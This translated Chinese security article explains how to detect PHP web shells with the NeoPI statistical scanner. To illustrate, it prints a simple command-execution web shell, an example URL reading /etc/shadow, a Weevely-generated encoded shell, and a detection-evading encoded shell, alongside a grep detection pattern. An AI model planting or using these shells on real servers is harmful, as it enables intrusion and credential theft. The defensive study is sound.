這些討厭的"shell"到底做了什么?
原創(chuàng)【51CTO.com 獨(dú)家譯稿】網(wǎng)頁(yè)服務(wù)器已經(jīng)成為當(dāng)前惡意活動(dòng)的主要目標(biāo)之一,而且常常被視為機(jī)構(gòu)基礎(chǔ)設(shè)施內(nèi)部的主要薄弱環(huán)節(jié)。網(wǎng)頁(yè)應(yīng)用程序代碼總是在相關(guān)機(jī)構(gòu)部署之后就被忘在一邊或是處于無(wú)人維護(hù)的狀態(tài),這就使其很容易作為整套體系中的缺口受到攻擊。網(wǎng)頁(yè)應(yīng)用程序在開(kāi)發(fā)中常常會(huì)用到例如PHP,Python,Ruby以及Perl等腳本語(yǔ)言。由于這些語(yǔ)言自身的復(fù)雜性,因此很容易導(dǎo)致網(wǎng)頁(yè)應(yīng)用程序在執(zhí)行任意腳本代碼的過(guò)程中產(chǎn)生安全問(wèn)題。
這些討厭的"shell"到底做了什么?
當(dāng)上述條件得到滿足時(shí),攻擊者們往往會(huì)尋求一種利用部署網(wǎng)頁(yè)shell代碼并進(jìn)行持續(xù)訪問(wèn)的方式來(lái)發(fā)動(dòng)入侵。這種代碼會(huì)建立起一套可以順利訪問(wèn)網(wǎng)頁(yè)服務(wù)器的"虛擬"shell。這種shell通常會(huì)在系統(tǒng)接受的指令執(zhí)行及文件訪問(wèn)動(dòng)作中,夾雜其它討厭的惡意功能。
設(shè)想一下,當(dāng)你意識(shí)到自己正在管理的某個(gè)網(wǎng)站有可能存在安全漏洞。你在網(wǎng)頁(yè)服務(wù)器上所共享的PHP頁(yè)面數(shù)以千計(jì),而攻擊者可能在其中的數(shù)個(gè)乃至更多頁(yè)面上植入了后門(mén)程序。當(dāng)然你會(huì)嘗試通過(guò)對(duì)系統(tǒng)進(jìn)行掃描并檢查IDS(即入侵檢測(cè)系統(tǒng))日志文件來(lái)解決問(wèn)題,但我們也可以想到,后門(mén)也許有能力對(duì)該運(yùn)行環(huán)境進(jìn)行自定義修改。如此一來(lái),基于認(rèn)證簽名來(lái)發(fā)揮作用的工具將變得毫無(wú)用處。在這種情況下,我們?cè)撊绾螜z測(cè)及清除此類(lèi)殺毒軟件及IDS無(wú)法尋獲的后門(mén)呢?
這里我們所討論的后門(mén)類(lèi)型僅限于網(wǎng)頁(yè)shell。網(wǎng)頁(yè)shell型后門(mén)可被定義為:以一種非公開(kāi)的方式在動(dòng)態(tài)服務(wù)器端的網(wǎng)頁(yè)頁(yè)面中獲取對(duì)計(jì)算機(jī)系統(tǒng)控制臺(tái)的訪問(wèn)權(quán)限。一般來(lái)說(shuō)這些網(wǎng)頁(yè)shell構(gòu)造簡(jiǎn)單、易于檢測(cè)。舉例說(shuō)明,讓我們一起看看下面這個(gè)PHP文件:
- if(isset($_REQUEST['cmd'])){
- echo "
- <pre>";
- $cmd = ($_REQUEST['cmd']);
- system($cmd);
- echo "</pre>
- ";
- die;
- }
- ?>
這個(gè)shell的構(gòu)造十分簡(jiǎn)單,并允許攻擊者只需輸入如下圖所示的網(wǎng)址即可輕松執(zhí)行命令:
- http://comprimised-system.com/simple-backdoor.php?cmd=cat+/etc/shadow
而更復(fù)雜的網(wǎng)頁(yè)shell則包含了與控制臺(tái)的交互方式及文件編輯等內(nèi)容。C99 shell所提供的自述文件(C99 shell是一款已經(jīng)誕生將近十年的后門(mén)工具)中,規(guī)定了如下的特性:
- SQL Manager
- Visual File Manager (Many Features)
- PHP Eval
- Mail Bomber
- Get all readable home directories
- …
我們?cè)鯓訖z測(cè)出未加密的shell?
像C99這樣的shell能夠通過(guò)制定一些關(guān)鍵詞搜索的方式被檢測(cè)出來(lái),當(dāng)然使用一款基于簽名認(rèn)證的檢測(cè)工具也同樣可以做到。我們可以通過(guò)檢索下面這一串內(nèi)容來(lái)從網(wǎng)頁(yè)服務(wù)器中嘗試找出PHP后門(mén)(本例子借鑒于Steven Whitney的相關(guān)論著):
- grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru)"/pathto/webdir/
可以想見(jiàn),這種檢索方式會(huì)產(chǎn)生大量誤報(bào),因?yàn)檫@些回饋有很大一部分來(lái)自合法的網(wǎng)頁(yè)應(yīng)用程序。我們也可以嘗試?yán)妙?lèi)似Linux惡意軟件檢測(cè)(簡(jiǎn)稱(chēng)LMD)的工具。我們運(yùn)行Linux惡意軟件檢測(cè)來(lái)對(duì)一款網(wǎng)頁(yè)指令型shell所制造的九十個(gè)后門(mén)進(jìn)行檢測(cè),而LMD能夠通過(guò)掃描找出全部九十個(gè)后門(mén)中的三十七個(gè)。這么低的識(shí)別率其實(shí)并不奇怪,因?yàn)榫W(wǎng)頁(yè)shell中有一些是專(zhuān)門(mén)針對(duì)Windows操作系統(tǒng)所設(shè)計(jì)的。而真正令人驚訝的是Linux惡意軟件檢測(cè)并沒(méi)能夠識(shí)別出諸如isko,shellzx這些致命的網(wǎng)頁(yè)shell。
這些保障手段如何對(duì)抗自定義類(lèi)型的shell?
我們還創(chuàng)建了一套自定義的網(wǎng)頁(yè)shell。我們使用了Weevely工具來(lái)生成了一個(gè)惡意并加密了的后門(mén),用以執(zhí)行下列命令:
- server# python weevely.py -g -o test_shell.php -p qazwsxedc
該命令行的效果是生成了一個(gè)加密過(guò)的網(wǎng)絡(luò)shell,密碼為'qazwsxedc':
- eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc
- 2V0KCRhKT09J3FhJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHp3c3hlZGM+JztldmFsKGJhc2U2NF 9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTM pKSkpKTtlY2hvICc8L3p3c3hlZGM+Jzt9′));
- ?>
我們?cè)俅卫肔MD對(duì)該目錄進(jìn)行檢測(cè),而test_shell.php未被識(shí)別出來(lái)。
為了克服基于簽名認(rèn)證體系的檢測(cè),有些網(wǎng)頁(yè)shell,例如Weevely所生成的那些,通過(guò)采取一些特別的結(jié)構(gòu)來(lái)規(guī)避檢測(cè)的掃描機(jī)制。定制代碼被進(jìn)行壓縮并利用加密技術(shù)來(lái)使其內(nèi)容變得更具迷惑性,進(jìn)而逃避偵查。這種情況在對(duì)抗基于簽名認(rèn)證或是關(guān)鍵字搜索的檢測(cè)系統(tǒng)時(shí)尤為高效。此外,在企業(yè)的網(wǎng)頁(yè)服務(wù)器上從數(shù)以萬(wàn)計(jì)的文件中查找包含特定內(nèi)容的對(duì)象本身也非常困難,因?yàn)樗铏z索的目標(biāo)數(shù)據(jù)的體積太過(guò)龐大。
部署一套網(wǎng)頁(yè)shell到底有多簡(jiǎn)單?
這些shell的部署能夠通過(guò)下列方法來(lái)加以簡(jiǎn)化:命令注入、文件上傳漏洞、不安全的FTP(即文件傳輸協(xié)議)以及包含漏洞的遠(yuǎn)程文件。如果攻擊者能夠使目標(biāo)網(wǎng)頁(yè)服務(wù)器執(zhí)行其所提供的后門(mén)程序,他們就能夠使shell獲得與網(wǎng)頁(yè)服務(wù)器同樣高的權(quán)限來(lái)對(duì)主機(jī)操作系統(tǒng)進(jìn)行訪問(wèn)。
如果我們不能夠安全地依靠傳統(tǒng)方法,例如基于簽名認(rèn)證的掃描工具,來(lái)檢測(cè)網(wǎng)頁(yè)shell,那還有其它的備選方案嗎?現(xiàn)在,讓我們一同進(jìn)入NeoPI吧。#p#
NeoPI
概述
NeoPI是一個(gè)由Python所編寫(xiě)的腳本,它使用多種統(tǒng)計(jì)方法來(lái)檢測(cè)存在于文本及腳本文件中的,經(jīng)過(guò)偽裝處理或加密過(guò)的內(nèi)容。NeoPI的預(yù)期目的是幫助我們定位網(wǎng)頁(yè)shell的隱藏代碼標(biāo)識(shí)。NeoPI在發(fā)展方面的重心在于創(chuàng)造一套可與其它現(xiàn)有檢測(cè)方案(例如Linux惡意軟件檢測(cè)或傳統(tǒng)的基于簽名認(rèn)證/密鑰信息的檢索手段)同共作用的強(qiáng)大工具。
NeoPI是一款獨(dú)立的平臺(tái),能夠在安裝了Python 2.6的任何操作系統(tǒng)平臺(tái)上運(yùn)行。要運(yùn)行這套腳本的用戶,首先需要獲得讀取計(jì)算機(jī)中所有文件的權(quán)限,這樣該工具才能進(jìn)行全盤(pán)掃描。
NeoPI將對(duì)整個(gè)文件系統(tǒng)由基層目錄開(kāi)始進(jìn)行循環(huán)掃描,并按照一系列檢測(cè)結(jié)果對(duì)文件進(jìn)行評(píng)估分類(lèi)。這種分類(lèi)能夠幫助我們識(shí)別哪些文件有較高的機(jī)率可能已經(jīng)被經(jīng)過(guò)加密的網(wǎng)頁(yè)shell所侵入。它同時(shí)還提供了一種稱(chēng)為"總體"評(píng)分的系統(tǒng),可以由單獨(dú)的檢測(cè)做出個(gè)別的文件分類(lèi)。
分析方式講解
NeoPI利用以下幾種不同的統(tǒng)計(jì)方法,來(lái)嘗試判斷對(duì)象文件中包含惡意代碼的可能性。
最長(zhǎng)的字符串
最長(zhǎng)的字符串指的是該種檢測(cè)手段將文件中長(zhǎng)度最長(zhǎng)且不間斷的字符串作為判斷標(biāo)識(shí)。這種方式相當(dāng)實(shí)用,因?yàn)榻?jīng)過(guò)偽造處理的代碼在經(jīng)過(guò)編碼的文本文件中往往是作為一條超長(zhǎng)的字符串進(jìn)行存儲(chǔ)的。當(dāng)前多數(shù)主流的編碼方法,例如base64編碼,都會(huì)產(chǎn)生一個(gè)沒(méi)有空格字符的超長(zhǎng)字符串。由于典型的文本及腳本文件,其內(nèi)容在字符串的長(zhǎng)度方面普遍較短,因此找出那些反常的長(zhǎng)串字符可能有助于我們識(shí)別該文件中是否存在惡意代碼。
- longest = 0
- words = re.split("[\s,\n,\r]", data)
- if words:
- for word in words:
- if len(word) > longest:
- longest = len(word)
- return longest
上述代碼的功能是將某字符串以"單詞"為單位用空格、換行及回車(chē)加以拆分后獲得的結(jié)果。其運(yùn)行之后將自動(dòng)確定那些最長(zhǎng)的字符串內(nèi)容并在處理之后返回分析結(jié)果。
熵
熵是一種用來(lái)衡量及描述某值在不確定性方面所表現(xiàn)出來(lái)的強(qiáng)度的概念。Shannon(Claude Shannon,信息熵概念及符號(hào)邏輯與開(kāi)關(guān)理論的奠基者)位是字節(jié)。該測(cè)試通過(guò)計(jì)算來(lái)確定目標(biāo)編碼文件中字節(jié)數(shù)最少的某個(gè)文件所必需的"Shannon熵值"。熵測(cè)量在識(shí)別加密型網(wǎng)頁(yè)shell方面功效卓著,因?yàn)榧用苓^(guò)程往往會(huì)使對(duì)象文本字符串的熵值大幅提升。
- entropy = 0
- for x in range(256):
- p_x = float(data.count(chr(x)))/len(data)
- if p_x > 0:
- entropy += - p_x * math.log(p_x, 2)
- return entropy
上面的代碼將對(duì)Shannon熵值的具體"數(shù)據(jù)"進(jìn)行計(jì)算并返回一個(gè)0到8之間的浮點(diǎn)數(shù)。所謂熵值代表的是"數(shù)據(jù)"的字節(jié)熵量。而浮點(diǎn)數(shù)字則相當(dāng)于表示該"數(shù)據(jù)"所必需的字符位數(shù)。一個(gè)包含大量隨機(jī)內(nèi)容或特殊信息的文件將需要更多的字符位數(shù)來(lái)進(jìn)行描述,也因此產(chǎn)生了較大熵值。利用這種功能來(lái)對(duì)浮點(diǎn)數(shù)值在從2到8區(qū)間的日志記錄文件進(jìn)行分析,返回的結(jié)果將介于0和1之間。而配合其它計(jì)算熵的措施協(xié)同工作,上述分析可能將對(duì)識(shí)別網(wǎng)頁(yè)shell有所幫助。最終獲得的數(shù)值越大,數(shù)據(jù)顯示的各種信息的隨機(jī)性越強(qiáng)、種類(lèi)越多,也就是說(shuō)熵量越大。
巧合指數(shù)
巧合指數(shù)(簡(jiǎn)稱(chēng)I.C.)是指一種用來(lái)對(duì)文本進(jìn)行加密分析或自然語(yǔ)言分析的技術(shù)指標(biāo)。它可以計(jì)算某個(gè)所有字母的出現(xiàn)機(jī)率相對(duì)平均的文本中,其字母組合的出現(xiàn)情況。這類(lèi)計(jì)算往往會(huì)在分析不同類(lèi)型的文本后得出挖的結(jié)論數(shù)值;無(wú)論該文本使用的是口頭語(yǔ)言還是腳本語(yǔ)言。這一結(jié)論性數(shù)值在確定諸多同類(lèi)文件中的異常文本文件中是非常有用的。這可能表明該文件所包含的文本部分有問(wèn)題,無(wú)論是重新編碼操作還是加密過(guò)程,都會(huì)使結(jié)果偏離正常的字符應(yīng)用分布情況。
- char_count = 0
- total_char_count = 0
- for x in range(256):
- char = chr(x)
- charcount = data.count(char)
- char_count += charcount * (charcount - 1)
- total_char_count += charcount
- ic = float(char_count)/(total_char_count * (total_char_count - 1))
- self.ic_results.append({"filename":filename, "IC":ic})
- # Call method to caculate_char_count and append to total_char_count
- self.caculate_char_count(data)
- return ic
上面的代碼代表對(duì)"數(shù)據(jù)"的巧合指數(shù)進(jìn)行計(jì)算,并返回一個(gè)浮點(diǎn)數(shù)值。#p#
未來(lái)發(fā)展
NeoPI在未來(lái)的發(fā)展中將遵循以下幾個(gè)特點(diǎn):
" 額外的檢測(cè)功能及根據(jù)文件格式進(jìn)行良好的檢測(cè)調(diào)整可以幫助我們更容易地通過(guò)測(cè)試發(fā)現(xiàn)細(xì)微的異常情況。舉一個(gè)這方面的實(shí)例,比如運(yùn)行并收集各個(gè)網(wǎng)頁(yè)編程語(yǔ)言的平均巧合指數(shù)。目前所建立的檢測(cè)方式在平均巧合指數(shù)方面只考慮到了文件內(nèi)容的普遍情況,而未參照不同編程語(yǔ)言對(duì)其造成的影響。因此,要?jiǎng)?chuàng)建這樣一套比照體系可能需要制作出非常大的Phthon代碼庫(kù),用以進(jìn)行巧合指數(shù)掃描以及結(jié)論信息的存儲(chǔ)。否則可以預(yù)見(jiàn),某個(gè)特定的Python文件極有可能因?yàn)槠鋬?nèi)容的特殊性而被巧合指數(shù)掃描誤認(rèn)為存在惡意代碼。
" 熵模塊則是另一項(xiàng)我們希望將其補(bǔ)充進(jìn)傳統(tǒng)統(tǒng)計(jì)分析過(guò)程的功能。熵模塊將使我們能夠讀取基于預(yù)定義模塊尺寸的文件并分析其特定部分的熵值。這可能會(huì)對(duì)識(shí)別那些利用結(jié)合英文文本及加密模塊來(lái)回避檢測(cè)的網(wǎng)頁(yè)shell有所幫助。
" 引入多線程機(jī)制來(lái)加快文件的分析速度,這將對(duì)把此套檢測(cè)系統(tǒng)推廣到大型網(wǎng)絡(luò)上非常有利。
最后,我們還計(jì)劃向其中添加一些基本特征掃描,以為檢測(cè)網(wǎng)頁(yè)shell提供輔助機(jī)制。
如何使用
NeoPI具備獨(dú)立的運(yùn)行平臺(tái),因此無(wú)論是Linux還是Windows都能成為其發(fā)揮作用的舞臺(tái)。要開(kāi)始使用NeoPI,我們首先要從自己的github(即網(wǎng)站全局導(dǎo)航)代碼庫(kù)或從網(wǎng)上獲取到必備的代碼。
- git clone ssh://git@github.com:Neohapsis/NeoPI.git
這套小巧的NeoPI腳本現(xiàn)在就保存在我們的本地目錄中了。我們先舉幾個(gè)Linux系統(tǒng)上應(yīng)用的實(shí)例,然后再轉(zhuǎn)向Windows平臺(tái)。
讓我們?cè)谶\(yùn)行neopi.py時(shí)加入-h參數(shù)來(lái)察看選項(xiàng)。
- [sbehrens@WebServer2 opt]$ ./neopi.py -h
- Usage: neopi.py [options]
- Options:
- -version show program's version number and exit
- -h, -help show this help message and exit
- -C FILECSV, -csv=FILECSV
- generate CSV outfile
- -a, -all Run all tests [Entropy, Longest Word, Compression
- -e, -entropy Run entropy Test
- -l, -longestword Run longest word test
- -c, -ic Run IC test
- -A, -auto Run auto file extension tests
讓我們將這些選項(xiàng)再進(jìn)一步細(xì)化。
- -C FILECSV, -csv=FILECSV
這將生成一個(gè)CSV輸出文件,其中包含了掃描的結(jié)果。
-a, -all這將使NeoPI運(yùn)行全部測(cè)試,包括熵量、最長(zhǎng)字符串以及巧合指數(shù)檢測(cè)。在一般情況下,我們建議大家運(yùn)行全部測(cè)試項(xiàng)目,這樣可以盡可能地建立起最為全面的網(wǎng)頁(yè)shell名單。
-e, -entropy以上參數(shù)的加入會(huì)使掃描過(guò)程中只進(jìn)行熵量測(cè)試。
-l, -longestword以上參數(shù)的加入會(huì)使掃描過(guò)程中只進(jìn)行最長(zhǎng)字符串測(cè)試。
-c, -ic以上參數(shù)的加入會(huì)使掃描過(guò)程只進(jìn)行巧合指數(shù)測(cè)試。
-A, -auto
#p#
以上參數(shù)的加入會(huì)使掃描自動(dòng)生成一個(gè)正式的書(shū)面列表,其中囊括了許多常見(jiàn)的網(wǎng)頁(yè)應(yīng)用程序文件擴(kuò)展名。該列表并不全面,但包含了一種很好用的設(shè)置功能,即當(dāng)我們不確定自己的服務(wù)器上所運(yùn)行的網(wǎng)頁(yè)應(yīng)用程序是利用何種語(yǔ)言所編寫(xiě)時(shí),它會(huì)"盡量"為其匹配合適的設(shè)置以進(jìn)行掃描。當(dāng)前列表所支持的擴(kuò)展名如下:
- valid_regex =re.compile('\.php|\.asp|\.aspx|\.sh|\.bash|\.zsh|\.csh|\.tsch|\.pl|\.py|\.txt|\.cgi|\.cfm')
現(xiàn)在我們對(duì)參數(shù)已經(jīng)比較熟悉,并且已經(jīng)從GIT處下載得到了一套腳本,讓我們繼續(xù)進(jìn)行,將其運(yùn)行于可能被網(wǎng)頁(yè)shell所感染的網(wǎng)絡(luò)服務(wù)器上吧。為了事先了解最終掃描出的危險(xiǎn)結(jié)果大概有多少頁(yè),我們可以運(yùn)行如下命令:
需要強(qiáng)調(diào)的是,我們關(guān)注的并不是那些常見(jiàn)的圖形模式。從這里我們可以看到,這類(lèi)網(wǎng)絡(luò)服務(wù)器上擁有數(shù)量龐大的網(wǎng)頁(yè)。好吧,假如我可以自信地告訴大家,我的網(wǎng)絡(luò)服務(wù)器只支持PHP類(lèi)型的網(wǎng)頁(yè),那么看看在僅需處理這一類(lèi)網(wǎng)頁(yè)的情況下,我們得面對(duì)多少個(gè)頁(yè)面吧:
我們可以看到,網(wǎng)絡(luò)服務(wù)器中包含近四千個(gè)PHP頁(yè)面。繼續(xù)前進(jìn),我們?cè)谡麄€(gè)網(wǎng)頁(yè)目錄中安置四套網(wǎng)頁(yè)shell程序。它們分別是一套經(jīng)過(guò)完全加密的網(wǎng)頁(yè)shell、一套C99型shell、一套包含加密機(jī)制與純文本內(nèi)容的混合shell及一個(gè)由Weevely所生成的shell。這些文件都經(jīng)過(guò)了必要的修改,以防被基于簽名認(rèn)證體系的檢測(cè)系統(tǒng)輕易發(fā)現(xiàn)。這一整套模擬環(huán)境是為了還原前面我們談到的情況,即我們似乎意識(shí)到某個(gè)惡意的網(wǎng)頁(yè)shell已然存在于自己的網(wǎng)頁(yè)底層,但其于認(rèn)證的惡意軟件檢測(cè)工具似乎無(wú)法找到任何危險(xiǎn)文件。讓我們繼續(xù)運(yùn)行NeoPI,看看它能不能幫我們解決問(wèn)題。
- [sbehrens@WebServer2 opt]$ sudo ./neopi.py -C scan1.csv -a -A /var/www/
這就是輸出的全部掃描結(jié)果。我們可以看到巧合指數(shù)平均值測(cè)試所找出的可疑文件數(shù)最多。這為我們提供一個(gè)巧合指數(shù)的平均值--0.0372。需要指出的是,通過(guò)分析所得出的巧合指數(shù)平均值并不具備標(biāo)準(zhǔn)的共同特點(diǎn)。另外一個(gè)有趣的現(xiàn)象是,對(duì)于一篇字母使用情況較為平均的英文文本的分析結(jié)果而言,其巧合指數(shù)平均值為0.0385。該工具將優(yōu)先顯示指數(shù)平均值最低的那些文件。我們可以看到shell3.php文件的巧合指數(shù)似乎存在異常。我們同樣能看到Weevely,shell2.php以及shell.php被列入了可疑名單。接下來(lái),我們繼續(xù)看看熵量測(cè)試的結(jié)論,它所揪出的嫌疑人包括shell3.php,shell2.php以及Weevely。而最長(zhǎng)字符串測(cè)試在全面檢測(cè)方面的作用也得到了驗(yàn)證,shell3.php和shell2.php的加密后門(mén)被及時(shí)發(fā)現(xiàn)了。#p#
我們粗略計(jì)算了全部上述三種功能的平均數(shù),并嘗試通過(guò)它來(lái)向大家說(shuō)明這三種功能找出危險(xiǎn)文件的概率。正如上圖所示,在綜合排名最高的前十個(gè)文件中,NeoPI能夠準(zhǔn)確識(shí)別出shell3.php,weevely.php以及shell.php。shell2.php因?yàn)槲催M(jìn)行加密,所以只被巧合指數(shù)及熵量這兩項(xiàng)測(cè)試所發(fā)現(xiàn),但最終其并未出現(xiàn)在結(jié)論性的危險(xiǎn)文件列表中。我們強(qiáng)烈建議大家在參考整體檢測(cè)結(jié)果的同時(shí),也別忘記關(guān)注那些在單項(xiàng)檢測(cè)中出現(xiàn)異常的文件。
Windows
該工具同時(shí)可與Windows系統(tǒng)兼容。在下面的例子中,我們用正式的列表來(lái)將搜索局限于PHP及文本類(lèi)型的文件中。
- python neopi.py -a c:\temp\phpbb "php|txt"
NeoPI的弱點(diǎn)所在
對(duì)于所有的惡意軟件檢測(cè)工具來(lái)說(shuō),都存在著一定的方法來(lái)避免被其檢測(cè)到。NeoPI的檢測(cè)重心在于識(shí)別混淆代碼,而事實(shí)上它常常在識(shí)別模糊代碼方面表現(xiàn)得更好。未經(jīng)模糊處理的代碼對(duì)于NeoPI的檢測(cè)機(jī)制來(lái)說(shuō)是透明的,并能夠完美地整合于系統(tǒng)中的其它代碼上(但這很容易被基于簽名認(rèn)證或表達(dá)搜索的檢測(cè)工具發(fā)現(xiàn))。如果以這樣的處理方式來(lái)對(duì)惡意代碼進(jìn)行加工,這種看起來(lái)很正常的文本將極可能無(wú)法被NeoPI識(shí)別出。因?yàn)槭紫?,這類(lèi)代碼可能會(huì)被編碼/解碼成有效的英文單詞或腳本語(yǔ)言文字,這種編碼類(lèi)型的字符串將很可能避過(guò)巧合指數(shù)測(cè)試的法眼,因?yàn)槠渥帜赋霈F(xiàn)頻率與真正的代碼保持一致。它同樣在熵值上與合法文件具有統(tǒng)一性;而最后,只要其在存儲(chǔ)方式上也足夠小心,將完全能夠逃脫最長(zhǎng)字符串測(cè)試這一關(guān)。
下面這個(gè)例子就能夠以簡(jiǎn)單的編碼機(jī)制成功逃避NeoPI的代碼檢測(cè)。而它正是基于文章開(kāi)頭我們所提到的結(jié)構(gòu)松散的PHP類(lèi)shell。
- $string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";
- $dict = array(
- "a" => ""ardvark","b" => "bat","c" => "cat","d" => "dog","e" => "elk","f" => "frog","g" => "goat","h" => "hog","i" => "iguana","j" => "jackal","k" => "kiwi","l" => "lion","m" => "mole","n" => "newt","o" => "olm","p" => "pig","q" => "quail","r" => "rat","s" => "seal","t" => "tiger","u" => "vulture","v" => "wasp","x" => "xena","y" => "yak","z" => "zebra"," " => "space","(" => "eats",")" => "sleeps","." => "sneezes","[" => "pukes","]" => "kills","'" => "jumps","\"" => "rolls",";" => "murders","=" => "dances","\$" => "sprints","{" => "giggles","}" => "poops","_" => "pees","<" => "falls",">" => "vomits","?" => "coughs","`" => "tick");
- function decode($string, $array) {
- $output = "";
- $words = explode(" ", $string);
- foreach ($words as $word) {
- $upper = isUpper($word);
- $word = strtolower($word);
- if ($key = array_search($word, $array)) {
- if ($upper) $key = strtoupper($key);
- $output = "{$output}{$key}";
- } else {
- $output = "{$output}{$word}";
- }
- }
- return $output;
- }
- function isUpper($char) {
- if (strtoupper($char) == $char) return true;
- return false;
- }
- eval(decode($string, $dict));
- ?>
結(jié)論
網(wǎng)頁(yè)shell一直是種被忽視的威脅類(lèi)型,難以察覺(jué),并能夠利用一些簡(jiǎn)單的手段逃避檢測(cè)。我們已經(jīng)討論了利用包括熵量、最長(zhǎng)字符串以及其它一些技術(shù)指示進(jìn)行比照實(shí)驗(yàn)以檢測(cè)這些惡意文件的方法。NeoPI希望能夠不斷發(fā)展并提供其它更新更好的測(cè)試方式,以便讓更多類(lèi)型的惡意文件無(wú)所遁形。
原文鏈接:http://resources.infosecinstitute.com/web-shell-detection/
【51CTO.com獨(dú)家譯稿,非經(jīng)授權(quán)謝絕轉(zhuǎn)載!合作媒體轉(zhuǎn)載請(qǐng)注明原文出處及出處!】
【編輯推薦】